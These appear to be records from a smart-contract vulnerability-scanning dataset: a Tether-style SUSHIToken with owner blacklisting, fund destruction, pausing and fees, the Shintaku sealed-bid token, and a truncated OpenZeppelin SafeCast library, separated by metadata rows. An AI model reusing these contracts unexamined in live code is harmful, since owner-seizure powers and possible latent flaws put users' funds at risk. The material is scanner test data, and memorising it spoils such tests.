contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract SUSHIToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function SUSHIToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 154,356 | 1,796 |
ac98587c9dcc07e295a823c57ab6aa5649d0503013d5d0b0185579f9f56edd53
| 29,558 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x785c3570623f3d61225659744a5eb2ea83bc1e9d.sol
| 5,093 | 19,974 |
pragma solidity ^0.4.24;
// File: contracts/libs/ERC223Receiver_Interface.sol
contract ERC223Receiver {
constructor() internal {}
function tokenFallback(address _from, uint _value, bytes _data) public;
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/libs/ERC223Token.sol
contract ERC223Token is StandardToken {
using SafeMath for uint;
event Transfer(address indexed from, address indexed to, uint value, bytes data);
modifier enoughBalance(uint _value) {
require (_value <= balanceOf(msg.sender));
_;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_to != address(0));
return isContract(_to) ?
transferToContract(_to, _value, _data) :
transferToAddress(_to, _value, _data)
;
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// Retrieve the size of the code on target address; this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: contracts/libs/BaseToken.sol
contract BaseToken is ERC223Token, StandardBurnableToken {
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/ShintakuToken.sol
contract ShintakuToken is BaseToken, Ownable {
using SafeMath for uint;
string public constant symbol = "SHN";
string public constant name = "Shintaku";
uint8 public constant demicals = 18;
// Unit of tokens
uint public constant TOKEN_UNIT = (10 ** uint(demicals));
// Parameters
// Number of blocks for each period (100000 = ~2-3 weeks)
uint public PERIOD_BLOCKS;
// Number of blocks to lock owner balance (50x = ~2 years)
uint public OWNER_LOCK_BLOCKS;
// Number of blocks to lock user remaining balances (25x = ~1 year)
uint public USER_LOCK_BLOCKS;
// Number of tokens per period during tail emission
uint public constant TAIL_EMISSION = 400 * (10 ** 3) * TOKEN_UNIT;
// Number of tokens to emit initially: tail emission is 4% of this
uint public constant INITIAL_EMISSION_FACTOR = 25;
// Absolute cap on funds received per period
// Note: this should be obscenely large to prevent larger ether holders
// from monopolizing tokens at low cost. This cap should never be hit in
// practice.
uint public constant MAX_RECEIVED_PER_PERIOD = 10000 ether;
struct Period {
// Block this period has started at
uint started;
// Total funds received this period
uint totalReceived;
// Locked owner balance, will unlock after a long time
uint ownerLockedBalance;
// Number of tokens to mint this period
uint minting;
// Sealed purchases for each account
mapping (address => bytes32) sealedPurchaseOrders;
// Balance received from each account
mapping (address => uint) receivedBalances;
// Locked balance for each account
mapping (address => uint) lockedBalances;
// When withdrawing, withdraw to an alias address (e.g. cold storage)
mapping (address => address) aliases;
}
// Modifiers
modifier validPeriod(uint _period) {
require(_period <= currentPeriodIndex());
_;
}
// Contract state
// List of periods
Period[] internal periods;
// Address the owner can withdraw funds to (e.g. cold storage)
address public ownerAlias;
// Events
event NextPeriod(uint indexed _period, uint indexed _block);
event SealedOrderPlaced(address indexed _from, uint indexed _period, uint _value);
event SealedOrderRevealed(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
event OpenOrderPlaced(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
event Claimed(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
// Functions
constructor(address _alias, uint _periodBlocks, uint _ownerLockFactor, uint _userLockFactor) public {
require(_alias != address(0));
require(_periodBlocks >= 2);
require(_ownerLockFactor > 0);
require(_userLockFactor > 0);
periods.push(Period(block.number, 0, 0, calculateMinting(0)));
ownerAlias = _alias;
PERIOD_BLOCKS = _periodBlocks;
OWNER_LOCK_BLOCKS = _periodBlocks.mul(_ownerLockFactor);
USER_LOCK_BLOCKS = _periodBlocks.mul(_userLockFactor);
}
function nextPeriod() public {
uint periodIndex = currentPeriodIndex();
uint periodIndexNext = periodIndex.add(1);
require(block.number.sub(periods[periodIndex].started) > PERIOD_BLOCKS);
periods.push(Period(block.number, 0, 0, calculateMinting(periodIndexNext)));
emit NextPeriod(periodIndexNext, block.number);
}
function createPurchaseOrder(address _from, uint _period, uint _value, bytes32 _salt) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_from, _period, _value, _salt));
}
function placePurchaseOrder(bytes32 _sealedPurchaseOrder) public payable {
if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) {
nextPeriod();
}
// Note: current period index may update from above call
Period storage period = periods[currentPeriodIndex()];
// Each address can only make a single purchase per period
require(period.sealedPurchaseOrders[msg.sender] == bytes32(0));
period.sealedPurchaseOrders[msg.sender] = _sealedPurchaseOrder;
period.receivedBalances[msg.sender] = msg.value;
emit SealedOrderPlaced(msg.sender, currentPeriodIndex(), msg.value);
}
function revealPurchaseOrder(bytes32 _sealedPurchaseOrder, uint _period, uint _value, bytes32 _salt, address _alias) public {
// Sanity check to make sure user enters an alias
require(_alias != address(0));
// Can only reveal sealed orders in the next period
require(currentPeriodIndex() == _period.add(1));
Period storage period = periods[_period];
// Each address can only make a single purchase per period
require(period.aliases[msg.sender] == address(0));
// Note: don't *need* to advance period here
bytes32 h = createPurchaseOrder(msg.sender, _period, _value, _salt);
require(h == _sealedPurchaseOrder);
// The value revealed must not be greater than the value previously sent
require(_value <= period.receivedBalances[msg.sender]);
period.totalReceived = period.totalReceived.add(_value);
uint remainder = period.receivedBalances[msg.sender].sub(_value);
period.receivedBalances[msg.sender] = _value;
period.aliases[msg.sender] = _alias;
emit SealedOrderRevealed(msg.sender, _period, _alias, _value);
// Return any extra balance to the alias
_alias.transfer(remainder);
}
function placeOpenPurchaseOrder(address _alias) public payable {
// Sanity check to make sure user enters an alias
require(_alias != address(0));
if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) {
nextPeriod();
}
// Note: current period index may update from above call
Period storage period = periods[currentPeriodIndex()];
// Each address can only make a single purchase per period
require(period.aliases[msg.sender] == address(0));
period.totalReceived = period.totalReceived.add(msg.value);
period.receivedBalances[msg.sender] = msg.value;
period.aliases[msg.sender] = _alias;
emit OpenOrderPlaced(msg.sender, currentPeriodIndex(), _alias, msg.value);
}
function claim(address _from, uint _period) public {
// Claiming can only be done at least two periods after submitting sealed purchase order
require(currentPeriodIndex() > _period.add(1));
Period storage period = periods[_period];
require(period.receivedBalances[_from] > 0);
uint value = period.receivedBalances[_from];
delete period.receivedBalances[_from];
(uint emission, uint spent) = calculateEmission(_period, value);
uint remainder = value.sub(spent);
address alias = period.aliases[_from];
// Mint tokens based on spent funds
mint(alias, emission);
// Lock up remaining funds for account
period.lockedBalances[_from] = period.lockedBalances[_from].add(remainder);
// Lock up spent funds for owner
period.ownerLockedBalance = period.ownerLockedBalance.add(spent);
emit Claimed(_from, _period, alias, emission);
}
function withdraw(address _from, uint _period) public {
require(currentPeriodIndex() > _period);
Period storage period = periods[_period];
require(block.number.sub(period.started) > USER_LOCK_BLOCKS);
uint balance = period.lockedBalances[_from];
require(balance <= address(this).balance);
delete period.lockedBalances[_from];
address alias = period.aliases[_from];
// Don't delete this, as a user may have unclaimed tokens
//delete period.aliases[_from];
alias.transfer(balance);
}
function withdrawOwner(uint _period) public onlyOwner {
require(currentPeriodIndex() > _period);
Period storage period = periods[_period];
require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS);
uint balance = period.ownerLockedBalance;
require(balance <= address(this).balance);
delete period.ownerLockedBalance;
ownerAlias.transfer(balance);
}
function withdrawOwnerUnrevealed(uint _period, address _from) public onlyOwner {
// Must be past the reveal deadline of one period
require(currentPeriodIndex() > _period.add(1));
Period storage period = periods[_period];
require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS);
uint balance = period.receivedBalances[_from];
require(balance <= address(this).balance);
delete period.receivedBalances[_from];
ownerAlias.transfer(balance);
}
function calculateMinting(uint _period) internal pure returns (uint) {
// Every period, decrease emission by 5% of initial, until tail emission
return
_period < INITIAL_EMISSION_FACTOR ?
TAIL_EMISSION.mul(INITIAL_EMISSION_FACTOR.sub(_period)) :
TAIL_EMISSION
;
}
function currentPeriodIndex() public view returns (uint) {
assert(periods.length > 0);
return periods.length.sub(1);
}
function calculateEmission(uint _period, uint _value) internal view returns (uint, uint) {
Period storage currentPeriod = periods[_period];
uint minting = currentPeriod.minting;
uint totalReceived = currentPeriod.totalReceived;
uint scaledValue = _value;
if (totalReceived > MAX_RECEIVED_PER_PERIOD) {
// If the funds received this period exceed the maximum, scale
// emission to refund remaining
scaledValue = _value.mul(MAX_RECEIVED_PER_PERIOD).div(totalReceived);
}
uint emission = scaledValue.mul(minting).div(MAX_RECEIVED_PER_PERIOD);
return (emission, scaledValue);
}
function mint(address _account, uint _value) internal {
balances[_account] = balances[_account].add(_value);
totalSupply_ = totalSupply_.add(_value);
}
// Getters
function getPeriodStarted(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].started;
}
function getPeriodTotalReceived(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].totalReceived;
}
function getPeriodOwnerLockedBalance(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].ownerLockedBalance;
}
function getPeriodMinting(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].minting;
}
function getPeriodSealedPurchaseOrderFor(uint _period, address _account) public view validPeriod(_period) returns (bytes32) {
return periods[_period].sealedPurchaseOrders[_account];
}
function getPeriodReceivedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) {
return periods[_period].receivedBalances[_account];
}
function getPeriodLockedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) {
return periods[_period].lockedBalances[_account];
}
function getPeriodAliasFor(uint _period, address _account) public view validPeriod(_period) returns (address) {
return periods[_period].aliases[_account];
}
}
| 177,473 | 1,797 |
26c830c9f5304cb271a0064652335c2a9ffb765e6fffffba3cf9782a73609042
| 35,092 |
.sol
|
Solidity
| false |
573600645
|
hypercerts-org/hypercerts
|
cdbad70298753d24e9f9360b2538e18aae023937
|
contracts/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SafeCastUpgradeable.sol
| 4,103 | 13,004 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.
pragma solidity ^0.8.0;
library SafeCastUpgradeable {
function toUint248(uint256 value) internal pure returns (uint248) {
require(value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits");
return uint248(value);
}
function toUint240(uint256 value) internal pure returns (uint240) {
require(value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits");
return uint240(value);
}
function toUint232(uint256 value) internal pure returns (uint232) {
require(value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits");
return uint232(value);
}
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
function toUint216(uint256 value) internal pure returns (uint216) {
require(value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits");
return uint216(value);
}
function toUint208(uint256 value) internal pure returns (uint208) {
require(value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits");
return uint208(value);
}
function toUint200(uint256 value) internal pure returns (uint200) {
require(value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits");
return uint200(value);
}
function toUint192(uint256 value) internal pure returns (uint192) {
require(value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits");
return uint192(value);
}
function toUint184(uint256 value) internal pure returns (uint184) {
require(value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits");
return uint184(value);
}
function toUint176(uint256 value) internal pure returns (uint176) {
require(value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits");
return uint176(value);
}
function toUint168(uint256 value) internal pure returns (uint168) {
require(value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits");
return uint168(value);
}
function toUint160(uint256 value) internal pure returns (uint160) {
require(value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits");
return uint160(value);
}
function toUint152(uint256 value) internal pure returns (uint152) {
require(value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits");
return uint152(value);
}
function toUint144(uint256 value) internal pure returns (uint144) {
require(value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits");
return uint144(value);
}
function toUint136(uint256 value) internal pure returns (uint136) {
require(value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits");
return uint136(value);
}
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
function toUint120(uint256 value) internal pure returns (uint120) {
require(value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits");
return uint120(value);
}
function toUint112(uint256 value) internal pure returns (uint112) {
require(value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits");
return uint112(value);
}
function toUint104(uint256 value) internal pure returns (uint104) {
require(value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits");
return uint104(value);
}
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
function toUint88(uint256 value) internal pure returns (uint88) {
require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits");
return uint88(value);
}
function toUint80(uint256 value) internal pure returns (uint80) {
require(value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits");
return uint80(value);
}
function toUint72(uint256 value) internal pure returns (uint72) {
require(value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits");
return uint72(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
function toUint56(uint256 value) internal pure returns (uint56) {
require(value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits");
return uint56(value);
}
function toUint48(uint256 value) internal pure returns (uint48) {
require(value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits");
return uint48(value);
}
function toUint40(uint256 value) internal pure returns (uint40) {
require(value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits");
return uint40(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
function toUint24(uint256 value) internal pure returns (uint24) {
require(value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits");
return uint24(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt248(int256 value) internal pure returns (int248 downcasted) {
downcasted = int248(value);
require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
}
function toInt240(int256 value) internal pure returns (int240 downcasted) {
downcasted = int240(value);
require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
}
function toInt232(int256 value) internal pure returns (int232 downcasted) {
downcasted = int232(value);
require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
}
function toInt224(int256 value) internal pure returns (int224 downcasted) {
downcasted = int224(value);
require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
}
function toInt216(int256 value) internal pure returns (int216 downcasted) {
downcasted = int216(value);
require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
}
function toInt208(int256 value) internal pure returns (int208 downcasted) {
downcasted = int208(value);
require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
}
function toInt200(int256 value) internal pure returns (int200 downcasted) {
downcasted = int200(value);
require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
}
function toInt192(int256 value) internal pure returns (int192 downcasted) {
downcasted = int192(value);
require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
}
function toInt184(int256 value) internal pure returns (int184 downcasted) {
downcasted = int184(value);
require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
}
function toInt176(int256 value) internal pure returns (int176 downcasted) {
downcasted = int176(value);
require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
}
function toInt168(int256 value) internal pure returns (int168 downcasted) {
downcasted = int168(value);
require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
}
function toInt160(int256 value) internal pure returns (int160 downcasted) {
downcasted = int160(value);
require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
}
function toInt152(int256 value) internal pure returns (int152 downcasted) {
downcasted = int152(value);
require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
}
function toInt144(int256 value) internal pure returns (int144 downcasted) {
downcasted = int144(value);
require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
}
function toInt136(int256 value) internal pure returns (int136 downcasted) {
downcasted = int136(value);
require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
}
function toInt128(int256 value) internal pure returns (int128 downcasted) {
downcasted = int128(value);
require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
}
function toInt120(int256 value) internal pure returns (int120 downcasted) {
downcasted = int120(value);
require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
}
function toInt112(int256 value) internal pure returns (int112 downcasted) {
downcasted = int112(value);
require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
}
function toInt104(int256 value) internal pure returns (int104 downcasted) {
downcasted = int104(value);
require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
}
